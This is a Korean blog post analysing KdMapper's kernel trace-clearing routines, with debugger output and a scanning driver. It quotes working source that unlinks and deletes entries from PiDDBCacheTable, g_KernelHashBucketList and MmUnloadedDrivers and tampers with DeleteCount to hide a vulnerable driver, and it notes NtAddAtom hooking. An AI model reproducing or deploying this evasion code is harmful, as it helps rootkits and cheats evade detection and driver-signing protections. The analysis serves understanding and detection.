KdMapper 에서 엔트리를 순회하는 방법이 옳은지는 _PiDDBCacheEntryEntryLink(_LIST_ENTRY) 의 링크들이 _RTL_BALANCED_LINKS 와 일치하는지 확인하면 됩니다.

3: kd> dt_RTL_BALANCED_LINKS 0xffff9c873a34c0d0 
ntdll!_RTL_BALANCED_LINKS
   +0x000 Parent           : 0xfffff800`6bb2e040 _RTL_BALANCED_LINKS
   +0x008 LeftChild        : 0xffff9c87`3a7ff140 _RTL_BALANCED_LINKS
   +0x010 RightChild       : 0xffff9c87`3a34c140 _RTL_BALANCED_LINKS
   +0x018 Balance          : 0 ''
   +0x019 Reserved         : [3]

// sizeof(_RTL_BALANCED_LINKS), _PiDDBCacheEntry
3: kd> dp 0xffff9c873a34c0d0 + 20
ffff9c87`3a34c0f0  ffff9c87`3a34c160 ffff9c87`3a247f60    // 0x00 List(_LIST_ENTRY)
ffff9c87`3a34c100  00000000`00180018 ffff9c87`3a3391e0    // 0x10 DriverName
ffff9c87`3a34c110  00000000`a0e0786e 00000000`00000000    // 0x20 TimeStamp 
ffff9c87`3a34c120  00000000`00000000 00000000`00000000
ffff9c87`3a34c130  75737050`03070000 00000000`00000000
ffff9c87`3a34c140  ffff9c87`3a34c0d0 ffff9c87`3a8867d0
ffff9c87`3a34c150  ffff9c87`3a7da3e0 00000000`00000000
ffff9c87`3a34c160  ffff9c87`3a34cb70 ffff9c87`3a34c0f0

해당 로직이 유효한지 커널 드라이버를 이용하여 확인하면 아래와 같이 확인할 수 있습니다.

0: kd> dt_RTL_AVL_TABLE fffff800`6bb2e040
ntdll!_RTL_AVL_TABLE
   +0x000 BalancedRoot     : _RTL_BALANCED_LINKS
   +0x020 OrderedPointer   : (null) 
   +0x028 WhichOrderedElement : 0
   +0x02c NumberGenericTableElements : 0x7c
   +0x030 DepthOfTree      : 9
   +0x038 RestartKey       : (null) 
   +0x040 DeleteCount      : 0
   +0x048 CompareRoutine   : 0xfffff800`6b54d9f0     _RTL_GENERIC_COMPARE_RESULTS  nt!PiCompareDDBCacheEntries+0
   +0x050 AllocateRoutine  : 0xfffff800`6b555540     void*  nt!PnpAllocateGenericTableEntry+0
   +0x058 FreeRoutine      : 0xfffff800`6b5572e0     void  nt!CMFFreeFn+0
   +0x060 TableContext     : 0x00000000`00000001 Void
0: kd> g
[Shh0ya] Shh0ya Driver Load
[Shh0ya] Find Module \\SystemRoot\\system32\\ntoskrnl.exe
[Shh0ya] [0x1] Name : SgrmAgent.sys Status : 0x0
[Shh0ya] [0x2] Name : WdBoot.sys Status : 0x0
[Shh0ya] [0x3] Name : intelpep.sys Status : 0x0
[Shh0ya] [0x4] Name : WindowsTrustedRT.sys Status : 0x0
[Shh0ya] [0x5] Name : IntelTA.sys Status : 0x0
[Shh0ya] [0x6] Name : WindowsTrustedRTProxy.sys Status : 0x0
[Shh0ya] [0x7] Name : ACPI.sys Status : 0x0
[Shh0ya] [0x8] Name : pcw.sys Status : 0x0
[Shh0ya] [0x9] Name : msisadrv.sys Status : 0x0
[Shh0ya] [0xA] Name : pci.sys Status : 0x0
[Shh0ya] [0xB] Name : vdrvroot.sys Status : 0x0
...
[Shh0ya] [0x7A] Name : Wdf01000.sys Status : 0x0
[Shh0ya] [0x7B] Name : acpiex.sys Status : 0x0
[Shh0ya] [0x7C] Name : cng.sys Status : 0x0
[Shh0ya] Shh0ya Driver Unload

옆 쪽에 개수를 보면 NumberGenericTableElements 필드와 동일한 것을 확인할 수 있습니다. 즉 현재 해당 테이블에 존재하는 원소의 개수를 의미하는 것이 확인되었습니다. 또한 KdMapperLookupEntry 함수가 유효한 것 또한 확인되었습니다.

현재 Status 를 확인하면 모두 0 값인 것으로 보아, 로드 시의 NTSTATUS 값으로 유추할 수 있습니다.

드라이버 코드는 아래와 같습니다.

VOID ScanDriver()
{
	SYSTEM_MODULE_ENTRY SystemModule = { 0, };
	if (GetModuleInformation("\\\\SystemRoot\\\\System32\\\\ntoskrnl.exe", &SystemModule) != 0) // Wrapping NtQuerySystemInformation 
	{
		Log("Not Found\\n");
		return;
	}
	PVOID PiDDbCacheTablePtr = ScanBytes(
		(PSTR)SystemModule.ImageBase,
		(PSTR)((DWORD64)SystemModule.ImageBase + SystemModule.ImageSize),
		"48 8D 0D ?? ?? ?? ?? 45 33 F6 48 89"
	);
	if (PiDDbCacheTablePtr == nullptr)
	{
		Log("Not found pattern\\n");
		return;
	}
	ULONG CalcBytes = 0;
	RtlCopyMemory(&CalcBytes, (PVOID)((DWORD64)PiDDbCacheTablePtr + 3), 4);
	PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLE)((DWORD64)PiDDbCacheTablePtr + 7 + CalcBytes);
	PVOID FirstNode = PiDDBCacheTable->BalancedRoot.RightChild;
	
	_PiDDBCacheEntry* FirstEntry = (PiDDBCacheEntry*)((DWORD64)FirstNode + sizeof(RTL_BALANCED_LINKS));
	PLIST_ENTRY Head = FirstEntry->List.Flink;
	PLIST_ENTRY TempList = (PLIST_ENTRY)FirstEntry;
	int i = 1;
	while (true)
	{
		TempList = TempList->Flink;
		if (TempList->Flink == Head) { break; }
		PiDDBCacheEntry* Entry = (PiDDBCacheEntry*)TempList;
		Log("[0x%X] Name : %wZ Status : 0x%X\\n", i, Entry->DriverName, Entry->LoadStatus);
		i++;
	}
}

LookupEntry 함수에서는 이와 같이 엔트리 순회를 통해 취약한 드라이버와 일치하는 타임 스탬프 값을 찾고 해당 엔트리를 반환합니다. 원하는 엔트리를 찾고 나면 해당 리스트의 FLinkBlink 를 연결시킵니다. 즉 취약한 드라이버와 연결된 링크를 끊고, 은닉시킵니다.

...
	if (!WriteMemory(device_handle, (uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), &next, sizeof(_LIST_ENTRY*))) {
		Log(L"[-] Can't set next entry" << std::endl);
		ExReleaseResourceLite(device_handle, PiDDBLock);
		return false;
	}
	if (!WriteMemory(device_handle, (uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), &prev, sizeof(_LIST_ENTRY*))) {
		Log(L"[-] Can't set prev entry" << std::endl);
		ExReleaseResourceLite(device_handle, PiDDBLock);
		return false;
	}

	// then delete the element from the avl table
	if (!RtlDeleteElementGenericTableAvl(device_handle, PiDDBCacheTable, pFoundEntry)) {
		Log(L"[-] Can't delete from PiDDBCacheTable" << std::endl);
		ExReleaseResourceLite(device_handle, PiDDBLock);
		return false;
	}
...

PiDDbCacheEntry 에서 링크를 끊은 후, RtlDeleteElementGenericTableAvl 루틴을 호출하여 테이블에서 해당 엔트리를 제거합니다. 내부적으로 DeleteNodeFromTree 가 동작하며 실제 트리에서 제거하는 동작을 하고, _RTL_AVL_TABLE::FreeRoutine에 등록된 해제 루틴을 호출합니다. 해당 루틴을 호출하면 DeleteCount 가 증가하게 됩니다.

본인은 해당 코드까지 보았을 때 DeleteCount 를 이용하여 탐지가 가능하겠다 라고 생각했지만 바로 아래 DeleteCount 를 변조하는 코드까지 존재합니다.

	//Decrement delete count
	ULONG cacheDeleteCount = 0;
	ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG));
	if (cacheDeleteCount > 0) {
		cacheDeleteCount--;
		WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG));
	}

	//Restore context if wasn't 1
	if (prevContext != targetContext) {
		WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &prevContext, sizeof(ULONG64));
	}

	// release the ddb resource lock
	ExReleaseResourceLite(device_handle, PiDDBLock);

	Log(L"[+] PiDDBCacheTable Cleaned" << std::endl);

	return true;

위의 코드는 DeleteCount 를 감소시키고, 백업해둔 컨텍스트를 복구한 후 공유된 리소스를 해제하는 것 코드입니다.

ClearKernelHashBucketList

커널 내 해시 테이블은 짐작하건데 커널 드라이버에 대한 해시 테이블로 생각할 수 있습니다.

ci.dll 모듈 내 g_KernelHashBucketList 으로 선언되어 있습니다.

잘 알다시피 ci.dllCode Integrity 의 약자로 커널 내 많은 인증 루틴들을 가지고 있습니다.

bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) {
	uint64_t ci = utils::GetKernelModuleAddress("ci.dll");
	if (!ci) {
		Log(L"[-] Can't Find ci.dll module address" << std::endl);
		return false;
	}

	//Thanks @KDIo3 and @Swiftik from UnknownCheats
	auto sig = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", ci, PUCHAR("\\x48\\x8B\\x1D\\x00\\x00\\x00\\x00\\xEB\\x00\\xF7\\x43\\x40\\x00\\x20\\x00\\x00"), (char*)"xxx????x?xxxxxxx");
	if (!sig) {
		Log(L"[-] Can't Find g_KernelHashBucketList" << std::endl);
		return false;
	}
	auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 50, 50, PUCHAR("\\x48\\x8D\\x0D"), (char*)"xxx");
	if (!sig2) {
		Log(L"[-] Can't Find g_HashCacheLock" << std::endl);
		return false;
	}
	const auto g_KernelHashBucketList = ResolveRelativeAddress(device_handle, (PVOID)sig, 3, 7);
	const auto g_HashCacheLock = ResolveRelativeAddress(device_handle, (PVOID)sig2, 3, 7);
	if (!g_KernelHashBucketList || !g_HashCacheLock)
	{
		Log(L"[-] Can't Find g_HashCache relative address" << std::endl);
		return false;
	}

	Log(L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl);

	if (!ExAcquireResourceExclusiveLite(device_handle, g_HashCacheLock, true)) {
		Log(L"[-] Can't lock g_HashCacheLock" << std::endl);
		return false;
	}
	Log(L"[+] g_HashCacheLock Locked" << std::endl);
...

앞에 전반적인 코드는 동일합니다. 마찬가지로 패턴을 찾고 리소스 객체를 이용하여 잠근 후 변조합니다.

g_KernelHashBucketList 는 해당 소스에서 _HashBucketEntry 구조이며 아래와 같습니다.

typedef struct _HashBucketEntry
	{
		struct _HashBucketEntry* Next;
		UNICODE_STRING DriverName;
		ULONG CertHash[5];
	} HashBucketEntry, * PHashBucketEntry;

실제로 아래와 같이 확인할 수 있습니다.

3: kd> dp poi(ci!g_KernelHashBucketList)
ffff9c87`44fcc670  ffff9c87`44e56de0 0070005c`00de00dc
ffff9c87`44fcc680  ffff9c87`44fcc6b8 922e179b`e32ea567
ffff9c87`44fcc690  c31a2720`a4e9f5db 00000000`00f697d2
ffff9c87`44fcc6a0  00000000`00000000 00000000`00000000
ffff9c87`44fcc6b0  00000000`00000000 006f0072`0050005c
ffff9c87`44fcc6c0  006d0061`00720067 00610074`00610044
ffff9c87`44fcc6d0  00630069`004d005c 006f0073`006f0072
ffff9c87`44fcc6e0  0057005c`00740066 006f0064`006e0069
3: kd> dt_UNICODE_STRING ffff9c87`44fcc670+8
nt!_UNICODE_STRING
 "\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{AB7F140C-C280-43DF-9BDD-C85CA6548F8F}\\MpKslDrv.sys"
   +0x000 Length           : 0xdc
   +0x002 MaximumLength    : 0xde
   +0x008 Buffer           : 0xffff9c87`44fcc6b8  "\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{AB7F140C-C280-43DF-9BDD-C85CA6548F8F}\\MpKslDrv.sys"

PiDDBCacheTable 과 마찬가지로 역시나 해당 변수를 이용하여 드라이버 스캔이 가능할 것으로 보입니다. 이후 취약한 드라이버와 동일한 이름을 가진 드라이버를 찾습니다. 해당 부분은 단순 파싱 및 비교가 전부이기 때문에 생략합니다.

실제 해당 해시 테이블에서 내 드라이버를 제거하는 내용은 아래와 같습니다.

size_t find_result = std::wstring(wsName).find(wdname);
		if (find_result != std::wstring::npos) {
			Log(L"[+] Found In g_KernelHashBucketList: " << std::wstring(&wsName[find_result]) << std::endl);
			HashBucketEntry* Next = 0;
			if (!ReadMemory(device_handle, (uintptr_t)entry, &Next, sizeof(Next))) {
				Log(L"[-] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl);
				if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
					Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
				}
				return false;
			}

			if (!WriteMemory(device_handle, (uintptr_t)prev, &Next, sizeof(Next))) {
				Log(L"[-] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl);
				if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
					Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
				}
				return false;
			}

			if (!FreePool(device_handle, (uintptr_t)entry)) {
				Log(L"[-] Failed to clear g_KernelHashBucketList entry pool!" << std::endl);
				if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
					Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
				}
				return false;
			}
			Log(L"[+] g_KernelHashBucketList Cleaned" << std::endl);
			if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
				Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
				if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) {
					Log(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl);
				}
				return false;
			}
			delete[] wsName;
			return true;
		}

위의 코드를 간략히 표현하면 다음과 같습니다.

ClearMmUnloadedDriver

MmUnloadedDriver 는 이름과 마찬가지로 언로드 된 드라이버에 대한 정보를 가지고 있는 포인터 변수로 보입니다.

간단히 구조를 분석해보면 다음과 같습니다.

typedef _UNLOADED_DRIVERS{
    UNICODE_STRING UnloadedDriver;
    PVOID          DriverStart;
    PVOID          DriverEnd;
    PVOID          Unknown;
}UNLOADED_DRIVER,*PUNLOADED_DRIVER;

KdMapper 의 경우 드라이버가 언로드 되는 시점에 발생하는 루틴들을 분석하여 MmUnloadedDriver 에 등록되지 않도록 변조하였습니다.

PG 가 트리거되지 않는다면 MmUnloadedDriverDKOM 하는 방식도 시도해 보는 것도 나쁘지 않아 보입니다.

bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle) {
	ULONG buffer_size = 0;
	void* buffer = nullptr;

	NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);

	while (status == nt::STATUS_INFO_LENGTH_MISMATCH)
	{
		VirtualFree(buffer, 0, MEM_RELEASE);

		buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
		status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
	}

	if (!NT_SUCCESS(status) || buffer == 0)
	{
		if (buffer != 0)
			VirtualFree(buffer, 0, MEM_RELEASE);
		return false;
	}

	uint64_t object = 0;

	auto system_handle_inforamtion = static_cast<nt::PSYSTEM_HANDLE_INFORMATION_EX>(buffer);
...
}

SystemExtendedHandleInformation 의 정보를 가져옵니다. 이는 현재 열려있는 모든 핸들을 순회할 수 있습니다. KdMapperCreateFile 을 통해 얻은 드라이버의 핸들을 이용하여 파일 오브젝트를 획득합니다. 해당 코드는 아래와 같습니다.

...
for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i)
	{
		const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i];

		if (current_system_handle.UniqueProcessId != reinterpret_cast<HANDLE>(static_cast<uint64_t>(GetCurrentProcessId())))
			continue;

		if (current_system_handle.HandleValue == device_handle)
		{
			object = reinterpret_cast<uint64_t>(current_system_handle.Object);
			break;
		}
	}

	VirtualFree(buffer, 0, MEM_RELEASE);

	if (!object)
		return false;
...

nt::SYSTEM_HANDLEKdMapper 개발자의 편의를 위한 이름이며 실제 이름은 _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX 입니다.

CreateFile 을 이용하여 획득한 핸들이 device_handle 변수이며, 자신의 PID 와 동일한 핸들 정보의 경우 핸들 값을 확인하여 일치하는지 확인합니다.

일치하는 경우 해당 오브젝트를 변수에 담고 핸들 순회를 종료합니다.

...
  uint64_t device_object = 0;

	if (!ReadMemory(device_handle, object + 0x8, &device_object, sizeof(device_object)) || !device_object) {
		Log(L"[!] Failed to find device_object" << std::endl);
		return false;
	}

	uint64_t driver_object = 0;

	if (!ReadMemory(device_handle, device_object + 0x8, &driver_object, sizeof(driver_object)) || !driver_object) {
		Log(L"[!] Failed to find driver_object" << std::endl);
		return false;
	}

	uint64_t driver_section = 0;

	if (!ReadMemory(device_handle, driver_object + 0x28, &driver_section, sizeof(driver_section)) || !driver_section) {
		Log(L"[!] Failed to find driver_section" << std::endl);
		return false;
	}

	UNICODE_STRING us_driver_base_dll_name = { 0 };

	if (!ReadMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)) || us_driver_base_dll_name.Length == 0) {
		Log(L"[!] Failed to find driver name" << std::endl);
		return false;
	}
...

각 오프셋을 이용하여 드라이버 오브젝트를 획득합니다.

/*
1. object : _FILE_OBJECT
nt!_FILE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x008 DeviceObject     : Ptr64 _DEVICE_OBJECT
   ...
*/

DEVICE_OBJECT device_object = object->DeviceObject; // 0x8
DRIVER_OBJECT driver_object = device_object->DriverObject; // 0x8
LDR_DATA_TABLE_ENTRY driver_section = driver_object->DriverSection; // 0x28
UNICODE_STRING us_driver_base_dll_name = driver_section->BaseDllName // 0x58

위와 같이 접근하는 것을 알 수 있습니다.

...
	wchar_t* unloadedName = new wchar_t[(ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL];
	memset(unloadedName, 0, us_driver_base_dll_name.Length + sizeof(wchar_t));

	if (!ReadMemory(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, unloadedName, us_driver_base_dll_name.Length)) {
		Log(L"[!] Failed to read driver name" << std::endl);
		return false;
	}

	us_driver_base_dll_name.Length = 0; //MiRememberUnloadedDriver will check if the length > 0 to save the unloaded driver

	if (!WriteMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) {
		Log(L"[!] Failed to write driver name length" << std::endl);
		return false;
	}

	Log(L"[+] MmUnloadedDrivers Cleaned: " << unloadedName << std::endl);

	delete[] unloadedName;

	return true;
}

BaseDllNameLength 값을 0으로 설정합니다. 이는 주석에 적힌 것 처럼 MiRememberUnloadedDriver 에서 해당 Length 값을 확인하기 때문입니다. 0인 경우 등록하지 않습니다.

void __fastcall MiRememberUnloadedDriver(PUNICODE_STRING BaseDllName, __int64 a2, unsigned int a3)
{
  v3 = a3;
  if ( BaseDllName->Length )
  {
    v6 = KeGetCurrentThread();
    --v6->KernelApcDisable;
    ExAcquireResourceExclusiveLite(&PsLoadedModuleResource, 1u);
    v7 = MmUnloadedDrivers;
    if ( MmUnloadedDrivers )
    {
      v8 = MmLastUnloadedDriver;
      if ( MmLastUnloadedDriver < 0x32 )
        goto LABEL_4;
    }
    else
    {
      MmUnloadedDrivers = MiAllocatePool(64i64, 2000i64, 'TDmM');
      v7 = MmUnloadedDrivers;
      if ( !MmUnloadedDrivers )
      {
LABEL_6:
        MiReleaseResourceLite(v6, &PsLoadedModuleResource, 64i64);
        return;
      }
    }
    v8 = 0i64;
    MmLastUnloadedDriver = 0;
LABEL_4:
    DriverName = &v7[0x28 * v8];
    RtlFreeAnsiString(DriverName);
    v10 = MiAllocatePool(64i64, BaseDllName->Length, 'TDmM');
    DriverName->Buffer = v10;
    if ( v10 )
    {
      memmove(v10, BaseDllName->Buffer, BaseDllName->Length);
      DriverName->Length = BaseDllName->Length;
      DriverName->MaximumLength = BaseDllName->MaximumLength;
      DriverName[1].Buffer = (v3 + a2);
      *&DriverName[1].Length = a2;
      *&DriverName[2].Length = MEMORY[0xFFFFF78000000014];
      ++MmLastUnloadedDriver;
    }
    else
    {
      *&DriverName->Length = 0;
    }
    goto LABEL_6;
  }
}

Manual Mapping 의 경우 일반적인 로직과 동일하며, PG 가 트리거되지 않는 NtAddAtom 을 후킹하여 커널 내 함수를 호출하는 것을 확인할 수 있었습니다.

[0x03] Conclusion

그 외에도 ExpCovUnloadedDrivers 라는 데이터가 존재합니다. 다만 해당 데이터는 코드 커버리지가 적용된 드라이버만 저장된다고 합니다. 커널 내 다양한 루틴에 대한 이해는 큰 도움이 된다고 생각합니다.

[0x04] Reference

  1. KdMapper